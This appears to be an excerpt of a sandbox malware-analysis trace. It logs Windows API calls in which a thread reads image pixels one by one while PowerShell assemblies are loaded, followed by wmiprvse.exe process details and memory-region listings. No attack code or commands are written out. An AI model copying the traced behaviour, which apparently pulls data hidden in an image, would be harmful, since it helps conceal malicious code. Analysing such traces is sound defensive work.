	[0073.449] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=222, y=0, color=0x1c69c760) returned 0x0
	[0073.450] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.450] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.450] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.450] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.450] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=223, y=0, color=0x1c69c760) returned 0x0
	[0073.450] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.450] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.450] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.450] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.450] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=224, y=0, color=0x1c69c760) returned 0x0
	[0073.451] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.451] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.451] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.451] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.451] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=225, y=0, color=0x1c69c760) returned 0x0
	[0073.451] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.451] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.451] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.451] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.452] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=226, y=0, color=0x1c69c760) returned 0x0
	[0073.452] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.452] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.452] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.452] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.452] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=227, y=0, color=0x1c69c760) returned 0x0
	[0073.452] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.452] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.452] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.453] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.453] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=228, y=0, color=0x1c69c760) returned 0x0
	[0073.453] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.453] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.453] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.453] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.453] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=229, y=0, color=0x1c69c760) returned 0x0
	[0073.453] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.453] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.453] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.454] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.454] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=230, y=0, color=0x1c69c760) returned 0x0
	[0073.454] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.454] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.454] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.454] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.454] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=231, y=0, color=0x1c69c760) returned 0x0
	[0073.454] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.454] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.454] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.455] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.455] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=232, y=0, color=0x1c69c760) returned 0x0
	[0073.455] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.455] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.455] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.455] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.455] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=233, y=0, color=0x1c69c760) returned 0x0
	[0073.455] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.456] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.456] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.456] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.456] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=234, y=0, color=0x1c69c760) returned 0x0
	[0073.456] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.456] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.456] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.456] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.456] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=235, y=0, color=0x1c69c760) returned 0x0
	[0073.457] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.457] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.457] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.457] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.457] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=236, y=0, color=0x1c69c760) returned 0x0
	[0073.457] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.457] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.457] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.457] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.457] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=237, y=0, color=0x1c69c760) returned 0x0
	[0073.458] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.458] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.458] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.458] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.458] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=238, y=0, color=0x1c69c760) returned 0x0
	[0073.458] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.458] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.458] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.458] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.458] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=239, y=0, color=0x1c69c760) returned 0x0
	[0073.459] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.459] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.459] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.459] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.459] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=240, y=0, color=0x1c69c760) returned 0x0
	[0073.459] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.459] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.459] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.459] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.460] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=241, y=0, color=0x1c69c760) returned 0x0
	[0073.460] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.460] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.460] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.460] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.460] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=242, y=0, color=0x1c69c760) returned 0x0
	[0073.460] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.460] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.460] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.461] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.461] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=243, y=0, color=0x1c69c760) returned 0x0
	[0073.461] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.461] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.461] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.461] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.461] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=244, y=0, color=0x1c69c760) returned 0x0
	[0073.461] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.462] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.462] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.462] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.462] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=245, y=0, color=0x1c69c760) returned 0x0
	[0073.462] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.462] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.462] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.462] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.462] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=246, y=0, color=0x1c69c760) returned 0x0
	[0073.463] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.463] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.463] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.463] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.463] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=247, y=0, color=0x1c69c760) returned 0x0
	[0073.463] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.463] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.463] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.463] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.463] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=248, y=0, color=0x1c69c760) returned 0x0
	[0073.464] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.464] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.464] GdipGetImageWidth (image=0x1b4b41a0, width=0x1c69c700) returned 0x0
	[0073.464] GdipGetImageHeight (image=0x1b4b41a0, height=0x1c69c700) returned 0x0
	[0073.464] GdipBitmapGetPixel (bitmap=0x1b4b41a0, x=249, y=0, color=0x1c69c760) returned 0x0
	[0073.464] VarDecInt (in: pdecIn=0x1c69c820, pdecResult=0x1c69c850 | out: pdecResult=0x1c69c850) returned 0x0
	[0073.464] VarDecRound (in: pdecIn=0x1c69c770, cDecimals=0, pdecResult=0x1c69c7b0 | out: pdecResult=0x1c69c7b0) returned 0x0
	[0073.689] VirtualQuery (in: lpAddress=0x1c69c0f0, lpBuffer=0x1c69cfb0, dwLength=0x30 | out: lpBuffer=0x1c69cfb0*(BaseAddress=0x1c69c000, AllocationBase=0x1bd10000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0073.690] VirtualQuery (in: lpAddress=0x1c69b940, lpBuffer=0x1c69c800, dwLength=0x30 | out: lpBuffer=0x1c69c800*(BaseAddress=0x1c69b000, AllocationBase=0x1bd10000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0073.692] VirtualQuery (in: lpAddress=0x1c69b940, lpBuffer=0x1c69c800, dwLength=0x30 | out: lpBuffer=0x1c69c800*(BaseAddress=0x1c69b000, AllocationBase=0x1bd10000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0073.731] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.777] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c69bfc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0073.778] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c69bf10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0073.778] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c69bf10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86
	[0073.778] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c69bed0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0073.778] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c69be20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0073.778] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c69be20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0073.793] GetEnvironmentVariableW (in: lpName="comSpeC", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0073.793] GetEnvironmentVariableW (in: lpName="comSpeC", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0073.854] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.854] CoTaskMemFree (pv=0x28865e0) 
	[0073.856] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.856] CoTaskMemFree (pv=0x28865e0) 
	[0073.864] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.868] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.870] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.955] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.955] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.956] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.956] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.956] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.968] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.968] CoTaskMemFree (pv=0x28865e0) 
	[0073.972] CoTaskMemAlloc (cb=0x104) returned 0x28865e0
	[0073.972] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.972] CoTaskMemFree (pv=0x28865e0) 
	[0073.987] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.987] CoTaskMemFree (pv=0x28865e0) 
	[0073.997] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x28865e0, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0073.997] CoTaskMemFree (pv=0x28865e0) 
	[0074.159] CoUninitialize () 

Thread:
	id = 110
	os_tid = 0x704


Thread:
	id = 111
	os_tid = 0x828


Thread:
	id = 112
	os_tid = 0x508

	[0069.011] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0069.015] ResetEvent (hEvent=0x378) returned 1

Thread:
	id = 125
	os_tid = 0x8dc


Thread:
	id = 126
	os_tid = 0x85c


Thread:
	id = 127
	os_tid = 0x884

	[0074.162] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0074.164] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409
	[0074.164] VirtualQuery (in: lpAddress=0x1dafd6a0, lpBuffer=0x1dafe560, dwLength=0x30 | out: lpBuffer=0x1dafe560*(BaseAddress=0x1dafd000, AllocationBase=0x1d170000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0074.165] VirtualQuery (in: lpAddress=0x1dafd950, lpBuffer=0x1dafe810, dwLength=0x30 | out: lpBuffer=0x1dafe810*(BaseAddress=0x1dafd000, AllocationBase=0x1d170000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0074.170] SetEvent (hEvent=0x3c0) returned 1
	[0074.170] SetEvent (hEvent=0x3c4) returned 1
	[0074.170] SetEvent (hEvent=0x418) returned 1
	[0074.170] SetEvent (hEvent=0x3c0) returned 1
	[0074.170] SetEvent (hEvent=0x3c4) returned 1
	[0074.170] SetEvent (hEvent=0x480) returned 1
	[0074.170] SetEvent (hEvent=0x41c) returned 1
	[0074.170] SetEvent (hEvent=0x4e8) returned 1
	[0074.171] SetEvent (hEvent=0x47c) returned 1
	[0074.171] SetEvent (hEvent=0x6dc) returned 1
	[0074.171] CoUninitialize () 

Process:
	id = "16"
	image_name = "wmiprvse.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe"
	page_root = "0x76963000"
	os_pid = "0xb48"
	os_integrity_level = "0x4000"
	os_privileges = "0x60800000"
	monitor_reason = "rpc_server"
	parent_id = "2"
	os_parent_pid = "0x36c"
	cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\Network Service"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00068803" [0xc000000f]

Region:
	              id = 1760
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 1761
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 1762
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 1763
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 1764
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 1765
	        start_va = 0xc0000
	          end_va = 0xc0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000c0000"
	        filename = ""

Region:
	              id = 1766
	        start_va = 0xd0000
	          end_va = 0x14ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 1767
	        start_va = 0x150000
	          end_va = 0x156fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000150000"
	        filename = ""

Region:
	              id = 1768
	        start_va = 0x160000
	          end_va = 0x161fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000160000"
	        filename = ""

Region:
	              id = 1769
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000170000"
	        filename = ""

Region:
	              id = 1770
	        start_va = 0x180000
	          end_va = 0x180fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000180000"
	        filename = ""

Region:
	              id = 1771
	        start_va = 0x190000
	          end_va = 0x190fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000190000"
	        filename = ""

Region:
	              id = 1772
	        start_va = 0x1e0000
	          end_va = 0x1effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001e0000"
	        filename = ""

Region:
	              id = 1773
	        start_va = 0x240000
	          end_va = 0x33ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000240000"
	        filename = ""

Region:
	              id = 1774
	        start_va = 0x340000
	          end_va = 0x43ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000340000"
	        filename = ""

Region:
	              id = 1775
	        start_va = 0x440000
	          end_va = 0x5c7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000440000"
	        filename = ""

Region:
	              id = 1776
	        start_va = 0x5d0000
	          end_va = 0x750fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005d0000"
	        filename = ""

Region:
	              id = 1777
	        start_va = 0x760000
	          end_va = 0x81ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000760000"
	        filename = ""

Region:
	              id = 1778
	        start_va = 0x820000
	          end_va = 0x91ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000820000"
